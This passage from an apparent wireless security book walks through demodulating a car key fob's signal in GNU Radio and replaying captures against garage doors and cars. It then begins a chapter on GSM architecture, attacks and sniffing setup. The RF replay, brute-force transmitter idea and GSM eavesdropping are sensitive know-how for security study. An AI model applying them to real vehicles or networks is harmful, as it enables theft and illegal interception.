work.	Failures	may	be	because	your	SDR’s	transmit	signal	is	too	weak.	Carefully	step	up
the	transmit	gain,	and	try	relocating	closer	to	the	receiver.	If	that	fails,	your	recording	may
be	too	weak.	Try	recapturing	your	waveform	with	a	little	more	aggressive	receive	gain.

Modern	garage	doors	and	cars	have	vastly	improved	security	systems	that	implement
rolling	codes.	You	might	find	that	your	recording	only	works	once,	or	not	at	all.	When	you
record	your	remote’s	transmission,	make	sure	you	are	far	enough	away	that	the	receiver
can’t	“hear”	it.	Use	this	recording	as	soon	as	possible,	as	advanced	systems	could
automatically	expire	codes	after	some	time.



Now	that	we’ve	examined	techniques	to	capture	and	replay	a	simple	garage	door
opener,	let’s	move	on	to	a	more	advanced	attack:	attacking	a	vehicle	keyless	entry	system.

Attacking	a	Vehicle	Keyless	Entry	System

While	working	on	this	chapter,	Johnny	Cache	came	over	to	see	if	we	could	hack	the
keyless	entry	system	on	his	Mini	Cooper.	Using	the	same	identification,	capture,	and
replay	techniques	used	for	the	garage	door	opener,	we	did	get	the	doors	to	open	once.
However,	the	same	capture	wouldn’t	work	again.	Rolling	codes?	Challenge	response?	We
headed	back	inside	to	see	for	ourselves.	Since	we	have	a	captured	waveform	logged	to
disk,	we	won’t	need	the	radio	from	here	on	out.

In	this	section,	we’ll	use	GNU	Radio	Companion	to	design	a	signal	processing
algorithm	that	recovers	the	data	from	our	key	fob.	Our	algorithm	will	likely	be	specific	to
the	brand	of	key	fob	we	are	analyzing,	so	you	may	need	to	change	these	steps	slightly	(or
even	drastically)	for	your	device.	Furthermore,	the	design	methodology	is	nonlinear	and
experimental.	To	get	the	most	out	of	this	section,	focus	on	the	implicit	concepts	rather	than
the	explicit	steps.

“Hello	World”	in	GNU	Radio	When	building	any	application,	setting	up	a	framework	to
verify	that	everything	is	working	properly	is	often	helpful.	Let’s	run	the	signal	into	an	FFT
block	and	confirm	that	we	see	the	same	transmissions	that	we	just	recorded	using	the
following	steps:

1.	Open	gnuradio-companion.	This	program	lets	us	design	our	signal	processing
algorithm	using	blocks	in	a	drag-and-drop	process.

2.	Press	CTRL-F,	and	search	for	the	File	Source	block.	Drag	it	onto	the	workspace.

3.	Double-click	the	File	Source	block	to	open	its	properties.	Click	the	“…”	button	to
open	the	file	browser,	and	select	your	capture	file.

4.	Search	for	the	Throttle	block,	and	place	it	after	your	File	Source.	Click	the	In	and	Out
tabs	to	send	your	signal	into	the	Throttle	block.	This	block	is	responsible	for	rate-
limiting	samples	read	from	the	disk.	Unless	you	are	using	a	piece	of	hardware	(like	a
soundcard	or	SDR),	you	should	include	this	block	somewhere	in	your	flowgraph.

5.	Place	a	QT	GUI	Frequency	Sink	after	the	Throttle	block,	and	connect	them.	When
you	run	the	program,	this	will	add	an	FFT	to	the	output	display.

6.	Make	sure	the	Options	block	(usually	in	the	top-left	corner)	is	set	to	generate	a	QT
GUI	instead	of	using	the	WX	Toolkit	(QT	will	eventually	become	the	default	GUI	for



gnuradio-companion).

7.	Open	the	Variable	block	named	samp_rate,	and	set	the	value	to	match	your	file’s
sample	rate.	We	used	1	MSPS	with	osmocom_fft,	so	we	enter	1e6	(or	1000000).	This
variable	is	global	and	propagates	to	all	blocks	on	the	workspace.

8.	Save	the	flowgraph	to	disk,	and	click	the	green	play	arrow	to	execute.

	

Ensure	you	set	samp_rate	properly.	Many	blocks	(like	filters)	need	to	know	the	time
between	samples	in	order	to	function	properly.	(Do	not	confuse	this	with	the	Throttle
block.	The	Throttle	block	only	affects	the	rate	at	which	a	file	is	processed,	not	how	it	is
processed!)

Notice	there	is	only	one	peak	in	Figure	11-2.	One	peak	is	indicative	of	an	OOK
transmitter.	If	you	see	two	peaks,	your	device	is	likely	a	BFSK	transmitter.	Keep	following
along!	You	still	should	be	able	to	get	data;	there’s	just	a	little	more	work	associated	with
getting	it!



Figure	11-2	Our	first	GNU	Radio	program,	including	output

Signal	Conditioning	In	our	example,	we	have	a	very	clean	signal	centered	close	to	0	Hz.
Nearly	40	dB	of	signal-to-noise	ratio	(SNR)	is	excellent	for	slow	data	rates	like	these
OOK	transmitters.	If	you	have	interfering	signals,	or	a	weaker	signal-to-noise	ratio,	you
may	need	to	condition	your	signal.	While	you	can’t	change	the	amplitude	of	your	signal
with	respect	to	the	noise	floor,	you	can	remove	adjacent	noise,	effectively	improving	your
SNR,	by	following	these	steps:

1.	Write	down	the	range	of	frequencies	your	signal	occupies	using	the	FFT	from	the
previous	step.	In	our	case,	the	signal	runs	between	around	–100	kHz	and	+100	kHz.

2.	If	your	signal	is	close	to	the	center	of	your	graph,	use	a	Low	Pass	Filter.	Place	it
between	the	Throttle	block	and	FFT.

3.	If	your	signal	is	offset	to	one	side,	you	could	use	a	Multiply	block	and	cosine	to	tune
it	into	the	center.	You	may	find	it	easier	to	use	a	Band	Pass	Filter,	however.

4.	Pick	the	Cutoff	Frequencies	and	Transition	Width	for	your	filter,	and	run	the	program
again.	In	this	example,	we’ve	configured	the	frequency	sink	to	accept	two	streams,	so



we	can	compare	them	before	and	after.

Students	often	ask	what	makes	an	appropriate	filter.	If	we	were	designing	a	high-
performance	radio	from	start	to	finish,	we	might	need	to	use	matched	filters	that	leverage
a	known	signal	to	more	reliably	detect	an	unknown	signal.	However,	this	is	more	of	a
“back	of	the	napkin”	reverse	engineering	project.	For	now,	just	design	a	filter	that	lets
your	signal	through	and	removes	parts	of	the	spectrum	you	don’t	want.

That	being	said,	digital	filters	do	not	come	for	free.	The	narrower	your	transition,	the
more	CPU	intensive	your	filter	will	be.	Picking	a	transition	with	less	than	10	percent	of
your	sampling	frequency	may	make	your	simulation	seem	sluggish.	In	this	example,	we
set	our	Low	Pass	Filter	to	allow	+/–100	kHz	in	either	direction	and	gradually	attenuate	the
noise	over	the	next	100	kHz.	As	you	can	see	in	the	previous	image,	the	noise	floor
significantly	drops	outside	the	region	of	interest.

Demodulating	On-Off	Keying	The	next	step	of	the	process	is	to	get	a	glimpse	of	the
actual	bits	that	are	being	transmitted.	For	this,	we	introduce	two	new	blocks.	The	Complex
to	Mag	block	demodulates	On-Off	Keying,	and	the	QT	GUI	Time	Sink	plots	the



demodulated	waveform	out	in	time.	(If	you	happen	to	have	an	FSK	signal,	replace
Complex	to	Mag	with	the	Quadrature	Demodulator.)

When	placing	the	blocks,	notice	the	Complex	to	Mag	block’s	tab	changes	colors	from
blue	to	orange.	It	changes	because	the	data	type	has	changed	from	a	complex	number	to	a
floating	point.	Regrettably,	we	don’t	have	the	space	to	discuss	complex	signals.	If	you’re
curious,	a	math	geek,	and/or	a	sadomasochist,	we	highly	recommend	“Complex	Signals:
Complex,	But	Not	Complicated”	by	Rick	Lyons
(http://www.dspguru.com/dsp/tutorials/quadrature-signals).	In	either	case,	make	sure	you
configure	the	QT	GUI	Time	Sink’s	type	from	Complex	to	Float.

Time	Sink	is	a	complex	block,	with	many	configuration	options.	The	parameters	you
choose	will	be	specific	to	your	example.	These	options	can	be	accessed	at	run	time	by
double-clicking	on	the	graph.

The	first	time	we	ran	our	flowgraph,	we	were	greeted	with	very	brief	flashes	of	partial
bits.	In	retrospect,	this	makes	sense.	We	had	configured	the	Time	Sink	to	display	1024
samples	at	a	time.	At	a	sample	rate	of	1	MSPS,	this	only	displays	a	short	window	of	1
millisecond.	Using	the	middle	click	menu,	we	configured	the	block	to	show	100	×	the
number	of	points.	Once	a	transmission	showed	up,	we	stopped	the	display	(again	with	the
middle	click	menu)	and,	pressing	the	left	mouse	button,	dragged	a	“zoom	box”	around	the
area	we	wanted	to	see.	(Right-clicking	zooms	out	again,	or	you	can	use	the	scroll	wheel.)

In	this	image,	you	can	see	part	of	the	stream	of	1s	and	0s.	Each	bit	looks	just	a	little
different	than	the	previous	one,	given	the	noise	in	the	system.	If	the	signal	were	farther
away,	the	amplitude	of	the	bits	would	decrease.	If	there	is	too	much	noise,	or	the	signal
amplitude	is	too	low,	your	algorithm	might	accidentally	record	a	bit	in	error.

One	way	to	decode	the	message	is	to	take	a	screenshot	of	this	window	and	transcribe
the	bits	by	hand.	It’s	also	a	great	way	to	get	a	headache	and	lose	what	little	sanity	you
have	left.	It’s	much	easier	to	let	the	computer	figure	this	out	for	us.	Clock	recovery	is	the
single	most	complicated,	frustrating,	and	tricky	part.	Since	we	are	reverse	engineering	in
the	blind,	it’s	difficult	to	know	if	we’re	doing	this	part	correctly.	Perhaps	the	most
important	thing	we	can	say	to	help	you	design	your	own	system	is	place	a	Time	Sink	at
every	step	of	your	flowgraph.	Check	the	results	of	your	design,	and	make	sure	what’s

http://www.dspguru.com/dsp/tutorials/quadrature-signals


coming	out	is	what	you	expect.

First,	we	must	determine	how	fast	the	bits	are	being	sent—the	baud	rate.	Looking	at
the	beginning	of	the	transmission,	when	a	preamble	is	sent,	is	helpful.	The	preamble	is
usually	a	string	of	“10101010…”	repeated	often	enough	to	help	the	computer	“lock	on”	to
the	clock.	Using	the	Time	Sink,	we	determined	it	took	approximately	2.1	milliseconds	to
send	10	bits.	Doing	a	little	division	gives	us	4761	bits	per	second,	which	we	round	up	to
4800	baud	(because	this	is	a	valid	baud	rate	for	a	serial	port,	we’re	fairly	confident	we	got
this	right).

At	a	rate	of	1	MSPS,	there	are	~208.3	samples	per	bit.	That’s	a	lot	of	samples!	We
configured	the	Low	Pass	Filter	to	decimate	by	20,	or	only	keep	1	sample	in	every	20.	This
leaves	us	with	approximately	10.4	samples	per	symbol.	By	configuring	the	Time	Sink	to
use	markers,	we	can	visualize	the	actual	samples	(shown	here).

In	this	image,	you	can	see	that	the	data	represented	is	“1011”	(at	least,	we’re	pretty	sure—
we	haven’t	seen	any	bits	shorter	than	10	samples).	Each	bit	has	just	a	few	more	than	10



samples	per	symbol.	Our	goal	is	to	drive	this	down	to	one	sample	per	bit	and	write	it	to	a
file.	We’ll	set	our	Decision	Threshold	at	approximately	0.5.	Samples	greater	than	that
represent	a	digital	1;	anything	less	is	a	digital	0.

Naively,	you	might	assume	that	configuring	the	Low	Pass	Filter	to	decimate	by	208
would	be	“good	enough”	(1	MSPS	divided	by	208	is	approximately	4800	Hz).
Unfortunately,	you	will	inevitably	find	that	the	clock	jitter	causes	bit	errors.	A	better	way
to	do	this	is	to	use	a	Clock	Recovery	block.	You	tell	this	piece	of	code	how	many	samples
you	anticipate	per	symbol,	and	it	does	its	best	to	try	to	pick	out	bits	intelligently.

The	Clock	Recovery	block	is	delicate	and	works	when	supplied	with	a	filtered	signal
at	four	samples	per	symbol.	It	is	interesting	to	try	to	compare	the	output	of	the	Clock
Recovery	block	with	your	Input	Signal	(since	the	sample	rate	changes	variably,	you	will
need	two	independent	Time	Sinks).	Try	setting	up	the	triggers	to	help	capture	the	data.

Because	the	Clock	Recovery	block	outputs	an	“estimated	bit,”	we	need	to	force	a
decision.	The	binary	slicer	converts	positive	samples	(greater	than	0.0)	to	logical	1	and
negative	samples	to	logical	0.	You	may	want	to	use	the	Threshold	block	to	help	filter	the
output	bits	by	a	specified	threshold	value.

One	interesting	block	in	this	system	is	the	Root	Raised	Cosine	Filter.	This	special	filter
is	meant	for	digital	data.	Configured	with	the	incoming	sample	rate	and	expected	baud
rate,	it	smooths	out	the	bits	by	removing	unnecessary	frequencies.	When	used	correctly,
this	filter	helps	us	to	get	a	lower	bit	error	rate.

Figure	11-3	illustrates	a	solution	that	works	reliably.	It	should	be	noted	that	this	design
only	functions	well	in	a	“laboratory	setting,”	where	everything	is	ideal.	Designing	a
system	that	works	in	the	wild	is	much	more	complicated	and	involves	a	lot	of	fine	tuning.
If	you	put	this	system	in	your	car,	you	might	find	it	only	unlocks	if	you’re	within	ten	feet.



Figure	11-3	Final	OOK	demodulation	solution

Experienced	signal	processing	gurus	can	likely	point	out	several	poor	design	choices.
Much	of	this	centers	around	our	decision	threshold	and	where	we	placed	it.	We	arbitrarily
chose	a	threshold	value	of	0.5,	but	how	low	could	we	set	the	threshold	and	still	receive
messages?	Additional	analysis	and	filter	construction	could	be	applied	to	improve	the
reliability	of	transmission	capture.

Once	we	have	our	bits	coming	out,	we	need	to	find	the	information	to	display.	You
may	have	noticed	the	preamble	at	the	start	of	each	transmission.	We	wrote	a	special	block
called	the	Pattern	Dump	(available	at	http://github.com/tkuester/gr-reveng).	You	configure
it	with	a	certain	pattern	to	search	for.	When	the	block	finds	the	pattern,	it	prints	the	next	N
bytes	to	the	screen.	Alternatively,	you	can	pack	the	bits	into	a	byte	and	write	it	to	a	file	for
later	analysis.

	

http://github.com/tkuester/gr-reveng


You	can	download	this	(and	other	associated	GNU	Radio	graphs)	from	the	companion

website	for	this	book	at	http://www.hackingexposedwireless.com.	

So	What?
Here’s	the	(annotated)	output	generated	by	our	signal	processing	chain:

It	appears	the	key	fob	first	transmits	a	long	preamble,	followed	by	the	same	message	four
times.	Looks	like	the	key	fob	isn’t	using	error	correction.	If	the	car	didn’t	catch	the
message	the	first	time,	it	still	has	three	more	chances.	Searching	deeper	in	the	file	reveals
similar	blocks	of	five	messages.

One	strange	thing	we	noticed	was	that	no	message	had	more	than	two	1s	sequentially.
Some	radios	use	Manchester	encoding	to	avoid	long	strings	of	1s	back	to	back	(long
strings	of	1s	and	0s	are	difficult	for	Clock	Recovery	blocks).	Manchester	encoding
converts	1	to	binary	10,	and	0	to	binary	01.	After	configuring	the	Pattern	Dump	block	to
perform	Manchester	decoding,	we	were	able	to	recover	reliable	bit-stream	data,	as	shown
next;	some	bits	have	been	changed	to	protect	the	innocent.

Although	we	haven’t	fully	reverse	engineered	the	key	fob,	it	looks	as	if	two	fields	are
changing:	a	16-bit	field	and	a	32-bit	field.	What	happens	if	we	reuse	the	first	message?
Will	it	unlock	the	car	still	or	is	the	code	expired?	Does	the	second	byte	of	the	16-bit	field
always	increment	by	three?	How	do	the	panic	and	lock	buttons	differ?	Does	the	car	talk
back	to	the	remote?

The	only	way	to	answer	these	questions	is	to	collect	more	data.	After	you	understand
how	the	protocol	is	formatted,	you	might	modify	the	program	to	work	in	real-time	and
expand	to	other	car	models.	At	some	point,	you	may	even	want	to	try	building	a
transmitter	to	brute-force	security	systems.

http://www.hackingexposedwireless.com


Summary
SDRs	are	redefining	what	interested	hackers	can	do	on	a	personal	budget.	This	chapter
introduced	readers	to	the	features	that	are	important	when	selecting	an	SDR	and	illustrated
many	third-party	applications	for	decoding	digital	signals.	With	a	little	luck,	patience,	and
an	SDR	with	TX	capability,	readers	should	be	able	to	perform	basic	replay	attacks	against
a	variety	of	common	devices.	Advanced	readers	should	have	a	solid	foundation	and	a
working	example	of	demodulating	radio	signals	back	into	their	binary	payloads.

You	are	now	armed	with	the	tools	necessary	to	begin	your	own	wireless	security
research	using	software-defined	radio	tools.	Next,	we’ll	apply	many	of	these	same	tools	to
gain	unprecedented	access	to	cellular	networks.



	





CHAPTER	12
	



HACKING	CELLULAR
NETWORKS

	





This	chapter	covers	cellular	communication	technologies	and	the	threats	to	the
confidentiality,	integrity,	and	availability	of	those	communications.	So	you’re
conversant	in	cellular	communication,	we	explore	the	basic	concepts	within	the

scope	of	the	protocols	and	standards	used	in	cellular	communication	and	give	you	an
architectural	overview	of	modern	cellular	infrastructure.	Finally,	we	discuss	the	attacks
against	the	various	components	of	this	architecture.

	

Unlike	other	chapters	in	this	book	where	we	hope	you	will	apply	the	discussed	techniques
in	your	own	penetration	tests,	in	this	chapter,	you	should	not	perform	these	attacks	against
cellular	networks,	including	2G,	3G,	and	4G	infrastructure.	Only	the	mobile	device	carrier
that	has	licensed	the	cellular	frequencies	from	the	FCC	can	authorize	attacks	against
cellular	networks	for	penetration	testing.	Use	this	chapter	as	an	informational	reference,
but	do	not	apply	these	attacks	without	express	written	permission	from	an	authorized
entity.

Fundamentals	of	Cellular	Communication
First	let’s	take	a	look	at	some	of	the	fundamental	building	blocks	of	cellular	networks,
starting	with	frequency	allocation.

Cellular	Network	RF	Frequencies
Modern	cell	phones	use	a	number	of	different	frequencies	to	transmit	data.	Which
frequency	they	use	depends	on	the	country	and	the	mobile	operator	network.	Each	mobile
operator	network	(called	cell-phone	providers,	mobile	operators,	telecom,	telco,	carriers,
and	so	on)	leases	or	owns	a	specific	spectrum	of	radio	frequency	for	their	customers’	use.
Often,	a	regulatory	government	agency	leases	radio	spectrum	to	a	company	or	companies.
Some	countries	provide	government-owned	cellular	services	only.	Other	countries,	such	as
the	United	States,	lease	spectrum	to	mobile	operators	providing	cellular	access	for	phone
calls,	SMS,	and	IP-based	data	services.

Table	12-1	lists	common	cellular	frequencies	used	worldwide.



Table	12-1	Common	Worldwide	Cellular	Frequencies

Standards
Multiple	protocols	are	used	for	cellular	communications.	The	vocabulary	needed	to
understand	these	protocols	at	a	technical	level	is	immense;	even	common	usage	of	cellular
network	terms	can	be	confusing.	Terms	such	as	2G,	3G,	and	4G	are	applied	generically	to
refer	to	various	revisions	of	cellular	protocols,	with	incremental	revisions	sometimes
garnering	limited	floating-point	numbering	as	well	(2.5G	and	2.75G).	These	terms	are
generically	used	as	containers	to	refer	collectively	to	a	set	of	technologies	and	official
releases.

The	body	responsible	for	defining	global	cellular	standards	is	3GPP,	which	is
composed	of	six	organizational	partners:	the	Association	of	Radio	Industries	and
Businesses	(ARIB),	Japan;	the	Alliance	for	Telecommunications	Industry	Solutions
(ATIS),	US;	China	Communications	Standards	Association	(CCSA),	China;	the	European
Telecommunications	Standards	Institute	(ETSI),	Europe;	Telecommunications	Technology
Association	(TTA),	Korea;	and	the	Telecommunication	Technology	Committee	(TTC),
Japan.	There	are	additional	observer	organizations	within	the	3GPP,	which	are	on	track	to
participate	as	organizational	partners.

This	international	consortium	of	interests	develops	international	standards	for	cellular
technology.	The	international	characteristics	of	this	body	underscores	the	importance	of
consistent	protocols	and	the	global	impact	of	data	protection.

The	3GPP	defines	multiple	technologies:

•		Long	Term	Evolution	(LTE)

•		Long	Term	Evolution	Advanced	(LTE-Advanced)

•		Non-Access	Stratum	(NAS)

•		Evolved	Packet	Core	(EPC)

•		High	Speed	Packet	Data	Access	(HSPA)

•		Universal	Mobile	Telecommunications	System	(UMTS)

•		Wideband	Code	Division	Multiple	Access	(W-CDMA)



•		Global	System	for	Mobile	Communications	(GSM),	including	General
Packet	Radio	Service	(GPRS)	and	Enhanced	Data	Rates	for	Global	Evolution
(EDGE)

The	3GPP	officially	releases	the	body	of	cellular	network	specifications	by	number,
with	“Release	98”	in	1999	comprising	the	majority	of	3G	technologies,	“Release	8”	in
2008	comprising	the	first	4G	LTE	technologies,	and	“Release	10”	in	2011	comprising
current	advanced	LTE	network	technologies.

3GPP	specifications	not	only	define	the	radio	interface	that	many	associate	with
cellular	technologies,	but	also	define	the	backend	network	infrastructure	components	and
protocols	used.	The	result	is	an	overwhelmingly	complex	set	of	protocols,	standards,	and
acronyms.	To	make	this	chapter	easier	to	absorb,	we’ve	deviated	from	the	standard	chapter
model	that	explains	the	entirety	of	the	protocol	functionality	before	looking	at	attack
techniques.	Instead,	we’ve	divided	the	remainder	of	the	chapter	into	three	main	sections,
each	addressing	commonly	applied	high-level	cellular	network	technology	classifications
—2G,	3G,	and	4G.	In	each	section,	we’ll	introduce	the	functionality	of	the	network
architecture	and	security	controls	before	looking	at	attack	techniques.

Legal	Issues	with	Cellular	Security	Analysis
Fundamentally,	wireless	security	analysis	is	a	process	of	capturing	and	analyzing
wireless	activity	to	identify	threats.	Unfortunately,	the	United	States	has	made	this
process	illegal	for	cellular	networks.

US	Code	Title	47	§302a	describes	the	laws	challenged	with	assessing	and	studying
cellular	infrastructure	(“Telegraphs,	Telephones,	and	Radiotelegraphs”):

(1)	Within	180	days	after	October	28,	1992,	the	Commission	shall	prescribe	and
make	effective	regulations	denying	equipment	authorization	(under	part	15	of
title	47,	Code	of	Federal	Regulations,	or	any	other	part	of	that	title)	for	any
scanning	receiver	that	is	capable	of—

(A)	receiving	transmissions	in	the	frequencies	allocated	to	the	domestic	cellular
radio	telecommunications	service,

(B)	readily	being	altered	by	the	user	to	receive	transmissions	in	such
frequencies,	or

(C)	being	equipped	with	decoders	that	convert	digital	cellular	transmissions	to
analog	voice	audio.

This	legislation,	which	passed	during	the	Clinton	administration,	was	largely	in
response	to	early	analog	cellular	phone	eavesdropping	through	the	use	of	commodity
amateur	radio	equipment.	These	laws	apply	today	as	well,	however,	preventing	analysts
from	evaluating	the	security	of	cellular	networks	in	the	United	States.

Despite	this	law,	attackers	have	devised	multiple	techniques	to	eavesdrop	and
exploit	cellular	networks.	From	a	security	perspective,	we	may	be	legally	obligated	not
to	eavesdrop	on	cellular	networks,	but	we	should	still	understand	the	attacker’s
techniques	and	the	inherent	flaws	in	the	protocols	to	defend	our	own	networks



effectively.

2G	Network	Security
2G	networks,	including	2.5G,	Global	System	for	Mobile	(GSM),	2.75G,	General	Packet
Radio	Service	(GPRS),	and	Enhanced	Data	Rates	for	GSM	Evolution	(EDGE),	have	been
widely	scrutinized,	revealing	numerous	security	flaws	in	the	protocol.	2G	network
technology	has	been	deprecated	since	the	introduction	of	3G	networks,	although	it	is	still
the	most	widespread	cellular	protocol	used	worldwide.	Although	most	populous	areas
would	balk	at	the	thought	of	dropping	back	to	2G	network	performance	levels,	many
devices	remain	backward-compatible	with	early	2G	technology,	leaving	them	exposed	to
those	attacks.	Legacy	infrastructure	systems,	such	as	power	distribution	and	generation
stations,	frequently	continue	to	use	2G	networking	as	a	fallback	connectivity	mechanism
in	the	absence	of	other	network	access	opportunities.

	

In	this	section,	we	focus	primarily	on	network	security	pertaining	to	GSM	networks.
Additional	information	about	exploiting	CDMA-based	networks	is	presented	later	in	this
chapter.

GSM	Network	Model
The	basic	network	model	is	shown	in	Figure	12-1.	Although	many	additional	components
can	exist	in	GSM	deployments,	these	components	are	essential	to	gaining	an
understanding	of	the	GSM	security	subsystem:

•		MS	The	Mobile	Station	is	the	device	that	connects	to	the	GSM	for	voice,
data,	and/or	SMS/MMS	connectivity.	In	some	specifications,	the	MS	is	referred	to
as	User	Equipment	(UE).

•		SIM	Each	MS	on	the	network	must	have	a	Subscriber	Identity	Module.	The
SIM	card	is	removable	and	identifies	the	International	Mobile	Subscriber
Identifier	(IMSI)	for	the	MS,	as	well	as	stores	a	unique	key	to	authenticate	the	MS
to	the	network.

•		TMSI	The	Temporary	Mobile	Subscriber	Identifier	is	generated	and	assigned
following	MS	authentication.	The	TMSI	is	used	instead	of	the	IMSI	where
possible	to	protect	the	subscriber’s	identity	information.

•		BTS	The	Base	Transceiver	Station	is	the	wireless	device	at	the	cellular
provider	premises	(such	as	a	cell	tower)	that	provides	radio	connectivity	to	the
MS.	The	BTS	has	little	intelligence	in	the	GSM	network.

•		BSC	The	Base	Station	Controller	is	responsible	for	managing	many	BTS
devices,	providing	the	intelligence	for	connection	maintenance	and	management



of	MS	devices.

•		BSS	The	BTS	and	BSC	together	comprise	the	Base	Station	Subsystem.

•		MSC	The	Mobile	Switching	Center	provides	routing	services	for	downstream
MS	devices,	including	voice	calls,	SMS,	fax,	and	data	services.

•		HLR	The	Home	Location	Register	is	a	database	resource	that	records
information	for	users	on	the	network,	including	the	IMSI	of	each	MS.

•		VLR	While	the	HLR	records	information	about	network	subscribers,	the
Visitor	Location	Register	accommodates	non-network	devices,	which	facilitates
roaming	operations.

•		AuC	The	Authentication	Center	is	responsible	for	authenticating	the	identity
of	GSM	users	on	the	network.

•		PSTN	The	Public	Switched	Telephony	Network	is	the	public	network
interface	between	the	GSM	network	provider	and	other	network	services.

•		NSS	The	components	on	the	backend	of	the	GSM	network,	including	the
MSC,	HLR,	VLR,	and	AuC,	make	up	the	Network	Switching	System	in	a	GSM
network.

Figure	12-1	Basic	GSM	network	architecture	model

With	a	basic	understanding	of	the	GSM	network	model,	we	can	start	to	evaluate	the
authentication	and	encryption	services	provided	to	protect	GSM	network	providers.

GSM	Authentication
The	GSM	authentication	exchange	validates	the	identity	of	the	subscriber	through	the	use
of	the	IMSI	and	the	associated	subscriber	key	(Ki)	stored	on	the	SIM	card.	This	process	is
shown	in	Figure	12-2.



Figure	12-2	GSM	network	authentication	exchange

The	authentication	exchange	in	GSM	involves	the	SIM,	the	ME,	the	MSC,	and	the
AuC.	The	AuC	and	the	SIM	both	have	knowledge	of	the	subscriber	IMSI	and	the
associated	Ki	value	as	part	of	the	device	registration	process.	When	the	ME	connects	to
the	network,	the	SIM	shares	the	IMSI	information,	which	is	forwarded	to	the	AuC.	The
AuC	retrieves	the	Ki	value	linked	to	the	IMSI	and	selects	a	random	value	RAND.	The
RAND	value	is	used	with	two	algorithms,	A3	and	A8,	with	the	subscriber	key	Ki	to
generate	the	temporary	cipher	key	Kc	and	the	expected	response	(XRES)	values,
respectively.	The	AuC	shares	the	Kc,	RAND,	and	XRES	values	with	the	MSC,	ending	the
AuC’s	role	in	the	authentication	process.

Next,	the	MSC	shares	the	value	RAND	with	the	ME,	which	sends	it	to	the	SIM.	Like
the	AuC	before	it,	the	SIM	uses	the	RAND	value	to	generate	the	Kc	and	the	signed
response	(SRES)	values.	The	SRES	is	delivered	to	the	ME,	which	forwards	it	over	the	air
interface	to	the	MSC	for	validation.

The	MSC	compares	the	SRES	to	the	XRES	value;	if	they	match,	the	MSC	knows	that
the	SIM	card	Ki	is	correct,	validating	the	ME’s	identity.	The	MSC	generates	and	encrypts
a	TMSI	for	the	ME	to	use	and	delivers	it	over	the	air	interface.

In	this	authentication	exchange,	note	that	the	SIM	card	(and,	by	association,	the	ME)	is



authenticated	to	the	AuC.	This	authentication	meets	the	network	provider’s	requirement	to
prevent	unauthorized	devices	from	accessing	network	services.	The	authentication
exchange	does	not	validate	the	identity	of	the	provider	to	the	ME,	however,	a	weakness
that	can	be	successfully	exploited	by	an	adversary.

GSM	Encryption
GSM	networks	use	the	A5/1	cipher	to	provide	confidentiality	controls	of	traffic	delivered
over	the	GSM	air	interface	between	the	ME	and	the	BSC.	A5/1	is	a	stream	cipher
implemented	using	a	Linear	Feedback	Shift	Register	(LFSR)	mechanism.	LFSR
encryption	functions	are	common	when	the	ease	of	implementation	in	hardware	and
reduced	implementation	cost	are	design	priorities.

The	temporary	cipher	key	Kc	is	used	as	the	A5/1	input	to	generate	keystream	data.	The
plaintext	data	is	XOR’d	with	the	keystream	data	to	generate	ciphertext.	Ciphertext	is
similarly	XOR’d	with	matching	keystream	data	at	the	recipient	to	decrypt	the	data.

	

The	A5/1	cipher	is	one	of	several	ciphers	in	the	A5	standard,	which	includes	both	A5/2
and	A5/0.	The	A5/2	cipher	was	formerly	used	in	North	America	but	has	been	deprecated
in	favor	of	A5/1.	The	A5/0	cipher	is	a	NULL	encryption	mode	(no	encryption),	which
may	still	be	used	internationally.

Now	that	we’ve	examined	some	of	the	fundamental	security	mechanisms	supporting
GSM	networks,	let’s	look	at	vulnerabilities	and	attack	techniques	exposing	GSM	users.

GSM	Attacks
GSM	attacks	can	be	classified	into	three	categories:

•		Privacy	attacks,	particularly	leading	to	the	disclosure	of	IMSI	information

•		Confidentiality	attacks,	including	the	disclosure	of	voice	and	data
communications	over	the	GSM	air	interface

•		Integrity	attacks,	where	an	adversary	manipulates	or	otherwise	impersonates
back-end	GSM	services	to	modify	the	content	being	delivered	over	the	GSM	air
interface	GSM	networks	are	known	to	be	vulnerable	to	multiple	attacks	and
should	no	longer	be	used	where	privacy,	confidentiality,	or	integrity	is	desired.
However,	GSM	remains	one	of	the	most	far-reaching	wireless	protocols	used
worldwide,	particularly	in	rural	areas.	With	billions	of	subscribers,	recovering
from	significant	flaws	in	the	protocol	is	a	slow	process.

GSM	Eavesdropping
Although	commercial	GSM	packet	capture	tools	are	cost-prohibitive	for	most	users,	you



can	build	your	own	GSM	sniffer	using	inexpensive	hardware.	GSM	packet	captures	will
disclose	basic	information	about	the	network,	but	will	not	reveal	the	contents	of	phone	call
audio	traffic,	SMS/MMS	messages,	or	data	activity	because	that	content	is	encrypted.
Later	in	this	chapter,	we	look	at	techniques	an	attacker	would	apply	to	decrypt	this	traffic
by	exploiting	flaws	in	the	A5/1	cipher	as	well.

The	hardware	we’ll	use	for	GSM	sniffing	is	the	versatile	RTL-SDR	receiver.	As	you
saw	in	Chapter	11,	the	RTL-SDR	is	an	inexpensive	USB	device	designed	for	digital	HD
TV	reception.	The	RTL-SDR	has	a	special	debug	mode	that	allows	it	to	be	used	as	a
generic	SDR	device.	For	GSM	reception,	we	want	to	capture	traffic	in	the	850-MHz	and
1900-MHz	bands	(for	North	America;	in	Europe	and	other	locations	throughout	the	world,
these	frequencies	are	900	MHz	and	1800	MHz).	While	less	expensive	RTL-SDR	receivers
are	capable	of	capturing	GSM	network	activity	in	the	850-	and	900-MHz	bands,	the
E4000	RTL-SDR	is	desirable	for	access	to	both	the	low-	and	high-frequency	GSM	bands.

	GSM	Sniffing	with	AirProbe

AirProbe	is	an	air-interface	sniffer	tool	for	Linux	systems	consisting	of	three	primary
components:	GSM	signal	acquisition,	demodulation,	and	packet	analysis.	Using	an	SDR
interface	such	as	the	RTL-SDR	and	supporting	libraries,	including	GNU	Radio,	Open
Source	Mobile	Communications	(Osmocom),	and	Wireshark,	AirProbe	captures	and
decodes	GSM	activity	for	analysis.	In	most	locations	throughout	the	world,	the	payload
content	of	voice,	data,	and	SMS/MMS	activity	will	be	encrypted,	though	some	interesting
insights	can	be	gained	from	the	unencrypted	management	frame	activity.

The	installation	of	AirProbe	is	straightforward;	however,	the	installation	of	the	GNU
Radio	dependency	can	be	complex.	To	simplify	the	installation	of	GNU	Radio,	developer
Marcus	Leech	has	assembled	a	shell	script	that	automates	much	of	the	download	and	build
process	for	Ubuntu	and	other	Debian-based	systems.	First,	we	install	the	necessary
package	prerequisites	with	apt-get,	as	shown	here:
$	apt-get	install	build-essential	git	liblog4cpp5-dev	swig	wget	g++

python-dev	wireshark

